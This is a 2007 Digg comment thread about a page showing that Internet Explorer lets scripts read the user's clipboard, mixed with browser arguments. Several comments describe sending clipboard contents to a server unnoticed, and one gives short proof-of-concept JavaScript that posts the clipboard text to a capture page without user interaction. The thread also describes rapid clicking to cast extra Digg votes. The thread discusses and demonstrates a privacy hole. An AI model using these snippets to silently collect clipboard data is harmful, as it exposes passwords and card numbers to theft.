171 Comments
- GWoods, on 10/12/2007, -51/+290firefox rocks
- aThing, on 10/12/2007, -18/+120"Do you use IE?"
No. - Darrelc, on 10/12/2007, -6/+42So they can go through the pay per click link and earn (you?) someone else some money for free software?
***** off, digg isn't advertising space. - Shrill, on 10/12/2007, -7/+32You can easily record that info and other stuff with some quick XMLHttpRequest scripting (AJAX style stuff), the user would never know.
- tidalwav1, on 10/12/2007, -12/+37Not necessarily.
If you look at the JavaScript in the page:
document.getElementById("textbox").innerText = window.clipboardData.getData("Text");
The window.clipboardData part is doing the actual data fetching from the clipboard. The part before the equals sign is the part that displays the data on screeen. This data doesn't have to be displayed on screen, though; it can be stored on the server instead--without the user knowing. - straylightghost, on 10/12/2007, -16/+41Everyone, this is off topic, but I think I found a trick for Digg.
If you want to give someone a positive vote and click on the thumbs up icon multiple times as fast as you can, you can give 2 - 4 votes instead of one. Is that supposed to happen? - inactive, on 10/12/2007, -14/+38Sure you could. You paste it into a form textbox, and use an "onload" javascript to submit the form when the page is loaded.
- pabster, on 10/12/2007, -24/+47Because the Fox is open source, of course.
Opera IS a better browser all around. But prepare to be modded down, HARD. - theoallardyce, on 10/12/2007, -10/+30What ***** keeps modding things down, for the last time:
YOU _CAN_ SUBMIT THIS DATA TO A SERVER
And anyone who says otherwise can ***** themselves. - haxx4, on 10/12/2007, -13/+32Firefox has a bunch of extensions that I couldn't live without.
- yellowperil, on 10/12/2007, -5/+24dont you just hate it when people who dont know what they are talking about are the same ones who use the strongest language?
You can use any script language... perl, php... yuo dont even need to see it happening either... input type="hidden" put that in a form... put it in a small window outside of the screen... and onChange... send to the server side script... so everytime you copy and paste, that data is going to be sent to a server... how is this not a security hole?! - tenchiws, on 10/12/2007, -5/+241. Put the clipboard content into a textbox on load like this page already does.
2. Call another function right after that to send that value to a server page (using AJAX no less)
3. That page you send it to records it to a database.
How is it not possible again? - JayG25, on 10/12/2007, -7/+25First I didnt say I "discovered" it. Second I could send the data anywhere I want with a few more lines of code. I was just telling people about it so they turn of Allow Paste Operations via Script.
- rippedcap, on 10/12/2007, -42/+59Firefox ++ but surprisingly IE7 prompted me. I don't often praise MS but praise where praise is due.
- inactive, on 10/12/2007, -16/+30Wrong. You can.
- rkuchiki, on 10/12/2007, -2/+15Congrats on having your AdSense account terminated when Google checks their email ^.^
- straylightghost, on 10/12/2007, -8/+21@neoporcupine
You have to click at just the right times, as fast as you can to get it to work. I hold the mouse in two hands when I do it so I can press the button faster.
I think it's cool. It only adds to the positivity of the site since people can't do this with negative votes, so do we really want it fixed? - tenchiws, on 10/12/2007, -28/+39You're wrong. Opera is really quite bad in my opinion. It has very little support for numerous standards and newer technologies. What works in Firefox will not always work in Opera, be it AJAX methods, scriptaculous, CSS properties, etc etc. It's a real headache.
- GLucas, on 10/12/2007, -5/+16"IE is not that bad..." holy crap, you did not just say that. good lord...
- JayG25, on 10/12/2007, -6/+17I am sorry about the grammar error. I had no idea this would make the front page and would have corrected it if I could. I cant now, so you can point and laugh because you have never made a typo.
- david76, on 10/12/2007, -10/+21http://www.visualstructures.com/ClipboardExample/
It's a little quirky, but it works. Basically the script sends whatever is in your clipboard server-side and writes it to a text file, which you can view by clicking on the link or going to
http://www.visualstructures.com/ClipboardExample/view.php - pabster, on 10/12/2007, -5/+16@orly
Uh, Opera has find-as-you-type. Try hitting the . and see what happens...
And as for extensions, please. Why go and install tens of extensions (which hog memory and open up security issues themselves) when Opera offers much of that functionality built right in?
If you want to bash Opera for being closed source, OK, fine. (Though I have no problem with that.) But don't run around spreading FUD about Opera not being able to do X and Y when not only does it do X and Y, but it does them right out of the box and often in a smoother fashion than Firefox. - foolfromhell, on 10/12/2007, -4/+14Thats the best comment I ever heard on digg
- MrNonchalant, on 10/12/2007, -9/+19Because you can send this data server side. I've done it.
- dude3609, on 10/12/2007, -10/+20"I got undugg for stating the fact that Internet Explorer is faster than Firefox. The zealots prevail once again.
Why do you undigg comments based on the point that it says something you don't like, rather than just undigg comments with no purpose or false information?"
Your not the only person who thinks that. I agree with you.. I don't like IE, but yes i do agree that its faster. I don't think your trying to promote IE, your just stating a small fact, which somehow pisses everybody off. - orlyyarly, on 10/12/2007, -9/+18Opera renders faster for me, but the pages look like crap compared to FF. Also, it's lack of extensions, find as you type, and the fact that it is ugly are what makes me keep coming back to FF.
But, Opera 9 is supposed to have built in bittorrent which earns the beta a place snugly between Firefox and Flock in my dock. - twelvedogs, on 10/12/2007, -1/+10Proof of concept code:
http = new ActiveXObject("Microsoft.XMLHTTP");
http.open('get', 'captureUserClipboard.asp?clipboardText='+window.clipboardData.getData("Text"));
http.send(null);
will post the clipboard data to another asp page called captureUserClipboard.asp, not tested but it should work.
No user interaction required - detonate, on 10/12/2007, -15/+24One word: Extensions!
- JayG25, on 10/12/2007, -10/+19That is not true, you could easily write an ASP page that could email the content of the clipboard and IP address of the machine to anywhere you want.
- brandizzle, on 10/12/2007, -7/+15Aw wtf.
I tried it on your comment....and it worked.
Way to get people to mod you up =) - MrNonchalant, on 10/12/2007, -4/+12It could conceivably be a credit card number.
- interiot, on 10/12/2007, -4/+11It only *appears* to work on your side... if you reload the page, you see that the server only accepts one of the mod-ups.
- interiot, on 10/12/2007, -5/+12For some reason, people are modding you down for saying that you can send the data back to a server. But it really looks like you can. eg. This line of code loads it as a value in a site-loaded javascript:
window.clipboardData.getData("Text")
Once Javascript has it, it can send it back to the server via various methods. I don't see cross-site scripting restrictions getting in the way of this. - david76, on 10/12/2007, -6/+13Nothing like being dugg down for demonstrating that you CAN in fact send this information server-side despite what some in here might think.
- wolever, on 10/12/2007, -0/+6If JavaScript can get data, it can send that data anywhere. Something like http://wolever.net/~wolever/wax/example.php could grab the clipboard then send that to the server. As far as things like IP address and browser version go, however, you don't even need to use JS. The browser is kind enough to send it to the server as headers. Check out http://wolever.net/server.php to see most of the info your browser sends (along with some info about the server).
- McoreD, on 10/12/2007, -3/+9Ownage?
http://img214.imageshack.us/img214/8330/ie7clipboard1cd.png - Tobey, on 10/12/2007, -5/+10Wait just a minute... I'm using Firefox, and it just read what was in my clipboard. How's that possible?
- straylightghost, on 10/12/2007, -5/+10@neoporcipine
I just did it to two people then immediately refreshed - the extra votes were still there. - yellowperil, on 10/12/2007, -11/+16you gotta point there. It hasnt been updated in years... but it will soon be... I guess we will find out what the new IE will bring. As for me, Im no beta tester.
I dont even use IE to be honest. I use firefox and safari...
security through obscurity?! sure... that works... but with all these talking heads screaming firefox I think you already lost that advantage. - scooter12, on 10/12/2007, -4/+9It's possible. You can send the data to a PHP function and save it to a file or even save it in a database.
- thushan, on 10/12/2007, -1/+5What browser's that? Lynx?
http://lynx.isc.org/current/ - saggygrandma, on 10/12/2007, -7/+11Can anyone validate that you definetly can/cannot retrieve this from a clients computer? there seem to be some mixed answers on it.
- LoneE4gle, on 10/12/2007, -11/+15When I switched from the firefox rendering engine to the IE rendering engine, the text box said:
"NULL".
IE Tab rocks... for those 1 in 500 pages you get that doesn't like firefox, and prompts you to download IE or netscape.
https://addons.mozilla.org/firefox/1419/ - soogy, on 10/12/2007, -10/+14@nilobject
Gecko is a rendering engine. Firefox is a browser. A browser has far more than just a rendering engine. - MrNonchalant, on 10/12/2007, -6/+10As stated above and other places you can get it to the server side easily half a dozen ways. I've done it.
- wolever, on 10/12/2007, -1/+4Hrm, while there IS a bunch of white-on-white text for search engines (I hear they pay more attention when they see things repeated!), I don't see any links to FireFox... Or even any useful products I could purchase!
- foolfromhell, on 10/12/2007, -2/+5"Firefox has given me more trouble than IE because all of the hacks used to make IE render correctly."
If you need hacks for somethng to render properly, its not worth the trouble - inactive, on 10/12/2007, -3/+6good thing i use a real browser ...
- kupo19, on 10/12/2007, -0/+3The only way I could see this being harmful is if you have copied your password or credit card number, then visited a malicious site. However, you would have had to visit the malicious site previously so they could store a tracking cookie, and then after having that cookie you'd have to visit your email/bank/etc., but you'd still need a username... which you could conceivably also get from a cookie. But...that seems pretty far-fetched and like a lot of work for little payoff. Unless of course, this code can capture multiple lines of text on the clipboard???
-
Show 51 - 100 of 164 discussions



What is Digg?
Digg is coming to a city (and computer) near you! Check out all the details on our